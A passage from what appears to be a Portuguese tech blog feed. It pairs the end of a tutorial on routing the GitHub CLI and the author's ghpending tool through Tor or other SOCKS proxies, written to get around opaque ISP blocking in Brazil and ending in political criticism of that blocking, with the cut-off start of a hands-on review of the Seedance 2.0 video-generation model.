<h2>Instalando no Arch<span class="hx:absolute hx:-mt-20" id="instalando-no-arch"></span>
    <a href="#instalando-no-arch" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No Arch:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tor github-cli iproute2
</span></span><span class="line"><span class="cl">mkdir -p ~/.local/bin</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Crie o script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">nano ~/.local/bin/github-proxy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Cole o wrapper acima e dê permissão:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">chmod +x ~/.local/bin/github-proxy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Teste direto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/.local/bin/github-proxy gh api rate_limit --jq .resources.core.limit</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Conta autenticada normalmente retorna:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">5000</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Foi o que aconteceu aqui. Direto dava timeout. Pelo wrapper, <code>gh api rate_limit --jq .resources.core.limit</code> retornou <code>5000</code>.</p>
<p>Agora adicione um alias no seu shell.</p>
<p>ZSH:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;alias gh=&#39;</span><span class="nv">$HOME</span><span class="s2">/.local/bin/github-proxy gh&#39;&#34;</span> &gt;&gt; ~/.zshrc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.zshrc</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bash:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;alias gh=&#39;</span><span class="nv">$HOME</span><span class="s2">/.local/bin/github-proxy gh&#39;&#34;</span> &gt;&gt; ~/.bashrc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.bashrc</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Teste:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api rate_limit --jq .resources.core.limit
</span></span><span class="line"><span class="cl">gh pr list</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Ubuntu<span class="hx:absolute hx:-mt-20" id="ubuntu"></span>
    <a href="#ubuntu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No Ubuntu, o pacote do Tor é fácil:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt update
</span></span><span class="line"><span class="cl">sudo apt install tor iproute2 curl</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Para o GitHub CLI, se o pacote <code>gh</code> estiver disponível na sua versão:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt install gh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se não estiver, siga a instalação oficial do GitHub CLI para Ubuntu/Debian. O resto é igual: crie <code>~/.local/bin/github-proxy</code>, dê <code>chmod +x</code>, e coloque o alias no <code>.bashrc</code> ou <code>.zshrc</code>.</p>
<h2>Alternativas melhores que Tor<span class="hx:absolute hx:-mt-20" id="alternativas-melhores-que-tor"></span>
    <a href="#alternativas-melhores-que-tor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tor funcionou e é conveniente, mas não é a única opção. Às vezes é lento. Às vezes algum serviço encrenca com saída Tor. Para <code>gh api</code> e listar PR, tudo bem. Para uso pesado, talvez você queira algo mais previsível.</p>
<p>Opções razoáveis:</p>
<ul>
<li>VPN normal: Proton, Mullvad, IVPN, WireGuard próprio. Roteia tudo ou usa split tunneling se você souber configurar.</li>
<li>Tailscale com exit node fora do Brasil: limpo, se você tiver uma máquina confiável fora ou uma VPS.</li>
<li>SSH SOCKS para uma VPS: <code>ssh -N -D 127.0.0.1:9050 usuario@seu-vps</code>. Depois use o mesmo <code>HTTPS_PROXY=socks5h://127.0.0.1:9050</code>.</li>
<li>Proxy corporativo: se sua empresa tem saída fora do Brasil, configure só as ferramentas que precisam.</li>
</ul>
<p>O cuidado aqui é não sair mexendo em tudo ao mesmo tempo. Primeiro prove que <code>api.github.com</code> direto falha. Depois prove que via outro caminho funciona. Só então automatize.</p>
<h2>Ajustando ferramentas próprias: ghpending<span class="hx:absolute hx:-mt-20" id="ajustando-ferramentas-próprias-ghpending"></span>
    <a href="#ajustando-ferramentas-pr%c3%b3prias-ghpending" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse bloqueio me pegou também num utilitário meu: <a href="https://github.com/akitaonrails/ghpending"target="_blank" rel="noopener">ghpending</a>. Eu já falei dele no post <a href="/2026/05/23/criei-cli-pra-checar-pendencias-github-ghpending/">&ldquo;Criei um CLI pra Checar Pendências no Meu GitHub: ghpending&rdquo;</a>. Ele lista issues e pull requests abertos nos meus repositórios, pra eu saber onde tem gente esperando resposta.</p>
<p>O problema é óbvio: ele usa a API do GitHub. Se <code>api.github.com</code> cai no buraco, ele cai junto.</p>
<p>Então adicionei fallback de proxy. O <code>ghpending</code> agora lê <code>GITHUB_TOKEN</code> como antes, mas também tenta usar proxy SOCKS nesta ordem:</p>
<ol>
<li><code>GHPENDING_GITHUB_PROXY</code>, se você quiser forçar um proxy específico.</li>
<li><code>HTTPS_PROXY</code>, <code>https_proxy</code>, <code>ALL_PROXY</code> ou <code>all_proxy</code>, se forem <code>socks5://</code> ou <code>socks5h://</code>.</li>
<li>Um SOCKS local em <code>127.0.0.1:9050</code>, se estiver escutando.</li>
<li>Se nada disso existir, tenta direto.</li>
</ol>
<p>No README ficou assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GITHUB_TOKEN</span><span class="o">=</span><span class="k">$(</span>gh auth token<span class="k">)</span> ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E, para proxy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GHPENDING_GITHUB_PROXY</span><span class="o">=</span>socks5h://127.0.0.1:9050 ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou simplesmente rode pelo wrapper:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/.local/bin/github-proxy ghpending</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Meu wrapper sobe Tor em <code>127.0.0.1:9050</code>; o <code>ghpending</code> detecta esse proxy e usa para chamadas à API. Se você não está bloqueado, ele continua funcionando direto. Se você está bloqueado, ele tem um caminho de fuga.</p>
<p>Isso é o tipo de fallback que agora todo dev brasileiro deveria considerar para ferramenta que depende de API estrangeira. Não porque é bonito. Porque a internet brasileira está ficando imprevisível.</p>
<h2>O problema político<span class="hx:absolute hx:-mt-20" id="o-problema-político"></span>
    <a href="#o-problema-pol%c3%adtico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No fim da thread, o <a href="https://x.com/ayubio/status/2064880160893968643"target="_blank" rel="noopener">Ayub lembrou</a> que, por causa desses bloqueios colaterais sigilosos, já haveria cerca de 250 milhões de endereços bloqueados na internet brasileira. Ele também linkou uma apresentação sobre o panorama dos bloqueios no Brasil. Em outro tweet do mesmo fio, ele diz que autoridades defendem sigilo como única alternativa para combater crimes.</p>
<p>Eu não compro essa desculpa.</p>
<p>Bloqueio sigiloso de infraestrutura crítica, sem transparência, sem contraditório público, sem lista auditável, sem explicação de escopo, é censura operacional. Na minha leitura, é ilegal justamente por fugir do rito público e auditável que deveria existir quando o Estado manda quebrar acesso à internet. Pode ter começado com pirataria de TV box. Pode ter discurso bonito. Mas o mecanismo está aí: alguém aperta botão, operadoras aplicam bloqueio, usuários legítimos descobrem só quando ferramenta de trabalho para.</p>
<p>Hoje, o efeito colateral bateu em desenvolvedor honesto tentando trabalhar com GitHub. Amanhã bate em pacote de Linux, registry de container, CDN, API de pagamento, serviço de autenticação. Aí todo mundo corre pra VPN, Tor, proxy, DNS alternativo, <code>/etc/hosts</code>, Pi-hole. Parabéns: estamos recriando, aos poucos, o manual de sobrevivência de uma internet censurada.</p>
<p>Não precisa exagerar na metáfora. Ainda não somos a China. Mas o cheiro é o mesmo: bloqueio centralizado, opaco, com dano colateral, e usuário comum tendo que aprender bypass pra trabalhar.</p>
<p>Se você foi afetado, documente. Rode os comandos. Salve outputs. Abra issue no seu provedor. Reclame com dados. Compartilhe workaround, mas não normalize. Bypass é curativo. O problema real é um Estado que se dá o poder de quebrar pedaços da internet em silêncio.</p>
<p>E se você só queria rodar <code>gh pr list</code> pra revisar um pull request: bem-vindo à infraestrutura brasileira de 2026.</p>
]]></content:encoded><category>ghpending</category><category>redes</category><category>seguranca</category><category>linux</category></item><item><title>Seedance 2.0 finalmente foi lançado: Primeiras Impressões</title><link>https://akitaonrails.github.io/2026/04/15/seedance-2-0-finalmente-foi-lancado-primeiras-impressoes/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/04/15/seedance-2-0-finalmente-foi-lancado-primeiras-impressoes/</guid><pubDate>Wed, 15 Apr 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;A ByteDance lançou hoje, 15 de abril, a versão pública do &lt;a href="https://seed.bytedance.com/en/blog/official-launch-of-seedance-2-0"target="_blank" rel="noopener"&gt;Seedance 2.0&lt;/a&gt;. Eles prometeram esse modelo no fim do ano passado, mas o acesso ficou restrito a parceiros comerciais por meses, com vários adiamentos pelo caminho. Hoje finalmente abriu pra qualquer um testar.&lt;/p&gt;
&lt;p&gt;A proposta é forte. É um modelo multimodal de geração de vídeo que aceita simultaneamente texto, até 9 imagens de referência, 3 clipes de vídeo de referência e 3 trilhas de áudio numa mesma chamada. Em cima disso, ele gera saída de até 15 segundos com áudio sincronizado nativo (diálogo, efeitos, música ambiente), suporta extensão de vídeo, edição pontual de personagens e objetos, e tem planejamento de câmera dirigido por prompt. A ByteDance posiciona o modelo pra publicidade comercial, vídeos explicativos, produção de filme, e-commerce e gaming. Ou seja: pra criador de conteúdo que quer escapar do estágio &amp;ldquo;meme aleatório&amp;rdquo; e começar a entregar peça com uso profissional.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A ByteDance lançou hoje, 15 de abril, a versão pública do <a href="https://seed.bytedance.com/en/blog/official-launch-of-seedance-2-0"target="_blank" rel="noopener">Seedance 2.0</a>. Eles prometeram esse modelo no fim do ano passado, mas o acesso ficou restrito a parceiros comerciais por meses, com vários adiamentos pelo caminho. Hoje finalmente abriu pra qualquer um testar.</p>
<p>A proposta é forte. É um modelo multimodal de geração de vídeo que aceita simultaneamente texto, até 9 imagens de referência, 3 clipes de vídeo de referência e 3 trilhas de áudio numa mesma chamada. Em cima disso, ele gera saída de até 15 segundos com áudio sincronizado nativo (diálogo, efeitos, música ambiente), suporta extensão de vídeo, edição pontual de personagens e objetos, e tem planejamento de câmera dirigido por prompt. A ByteDance posiciona o modelo pra publicidade comercial, vídeos explicativos, produção de filme, e-commerce e gaming. Ou seja: pra criador de conteúdo que quer escapar do estágio &ldquo;meme aleatório&rdquo; e começar a entregar peça com uso profissional.</p>
<p>Pra quem quer ver o modelo em ação antes de continuar lendo, recomendo essa visão geral feita pelo Stefan, do canal <a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener">Stefan 3D AI Lab</a>, que eu já tinha indicado lá no <a href="/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/">post sobre modelagem 3D com IA</a>:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/fv9vA6RCNHU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>A interface principal é o &ldquo;Photo Studio&rdquo; da Dreamina, onde você escolhe o modo de geração e empilha as referências. Por enquanto eu testei só o modo de multi-referência padrão.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/studio.png" alt="A interface do Photo Studio do Seedance 2.0, com painel de upload de referências e configuração de prompt"  loading="lazy" /></p>
<h2>Teste 1: lip-sync com áudio do podcast<span class="hx:absolute hx:-mt-20" id="teste-1-lip-sync-com-áudio-do-podcast"></span>
    <a href="#teste-1-lip-sync-com-%c3%a1udio-do-podcast" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Meu primeiro teste foi simples. Peguei alguns segundos do bumper de abertura do meu podcast <a href="/tags/the-m-akita-chronicles/">The M.Akita Chronicles</a>, que é gerado com IA via <a href="/2026/04/09/como-a-elevenlabs-nao-foi-morta-pelo-qwen3-tts/">pipeline ElevenLabs v3</a>, passei o meu novo avatar em estilo anime como imagem de referência, e pedi pro Seedance fazer o personagem sincronizar boca e gesticular em cima daquele áudio.</p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test1.mp4" type="video/mp4">
  </video>
  <em>Avatar anime sincronizando boca com áudio do bumper do M.Akita Chronicles</em>
</div>
<p>O resultado é decente. Saiu tudo de uma imagem fixa só. O lip-sync acompanha a fala razoavelmente bem, a expressão tem alguma vida, o gesto da mão entra no momento certo. Mas é o tipo de coisa que rende clipinho curto pro YouTube ou Instagram. Não é animação que você usaria como abertura de um vídeo profissional.</p>
<h2>A função que de fato importa: vídeo de referência<span class="hx:absolute hx:-mt-20" id="a-função-que-de-fato-importa-vídeo-de-referência"></span>
    <a href="#a-fun%c3%a7%c3%a3o-que-de-fato-importa-v%c3%addeo-de-refer%c3%aancia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E aqui eu chego no que eu considero o único uso de verdade desses modelos pra trabalho sério: usar <strong>vídeo como referência</strong>. Texto sozinho nunca vai ser preciso o suficiente. Você pode descrever a cena com o vocabulário que quiser, mudar adjetivo, especificar lente, ângulo, framing, e ainda assim cada geração vai te dar algo um pouco diferente. É loteria. Bom pra meme, péssimo pra produção.</p>
<p>A maioria dos amadores se impressiona com qualquer clipe aleatório que sai bonito de primeira, e enche o feed do X e do Instagram com isso. Só que aquilo não é controle. É sorte. Pra cinema, pra publicidade, pra abertura de programa, pra qualquer coisa onde a próxima cena precisa casar com a anterior, você tem que conseguir dizer pro modelo: &ldquo;faça exatamente esse movimento, com exatamente essa câmera&rdquo;. E é aí que o vídeo de referência muda o jogo, porque ele substitui horas de modelagem 3D, rigging, animação e renderização que custariam fortunas em estúdio.</p>
<p>Pro meu teste, eu reciclei o modelo que já tinha gerado lá no <a href="/2026/01/23/ai-3d-ja-da-pra-modelar-3d-com-prompts/">post sobre AI 3D com Hunyuan e Nano Banana</a>, onde testei o quanto dá pra modelar 3D do nada com prompt e ainda imprimir em 3D. Mas pra uma referência mais cinematográfica eu queria algo com animação pronta. Baixei do Sketchfab o modelo <a href="https://sketchfab.com/3d-models/darth-talon-4338105e09704f359c6afcab7e5fce10"target="_blank" rel="noopener">Darth Talon</a>, que tem uma sequência curta de movimento bem feita, só porque achei legal.</p>
<p>Importei o FBX no Blender, montei câmera e luz básica, e fiz uma renderização rápida no Cycles. Nada bonito, é só um esboço pra servir de referência de movimento e enquadramento.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/blender.png" alt="O modelo Darth Talon importado no Blender com câmera e iluminação configuradas pra render rápido no Cycles"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/blender-render.mp4" type="video/mp4">
  </video>
  <em>O render rápido no Cycles que vai virar referência de movimento</em>
</div>
<p>Subi pro Seedance esse render como vídeo de referência junto com três imagens em t-pose do personagem (frente, costas, lado esquerdo) pra dar consistência visual:</p>
<div style="display: flex; gap: 8px; flex-wrap: wrap; margin: 1em 0; justify-content: center;">
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/front.jpg" alt="T-pose frontal" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/back.jpg" alt="T-pose de costas" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
  <img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/left.jpg" alt="T-pose lateral esquerda" style="flex: 1 1 30%; min-width: 140px; max-width: 32%; border-radius: 8px;" />
</div>
<p>Primeira tentativa, com prompt genérico:</p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/15/seedance/test2.mp4" type="video/mp4">
  </video>
  <em>Primeira geração: o personagem ficou consistente, mas o movimento e a câmera não bateram com a referência</em>
</div>
<p>Não ficou ruim. O personagem mantém identidade, a iluminação melhorou bastante em cima do meu render bruto, e o vídeo é coerente. Só que o movimento e a posição de câmera divergiram bastante da referência. O modelo entendeu &ldquo;ali tem um personagem parecido com esse fazendo algo parecido com aquilo&rdquo;, e improvisou o resto.</p>
<p>Lembrei do tutorial do Stefan: o truque é colocar literalmente no prompt algo como <code>Follow exact motion and camera from reference video</code>. Tentei de novo:</p>
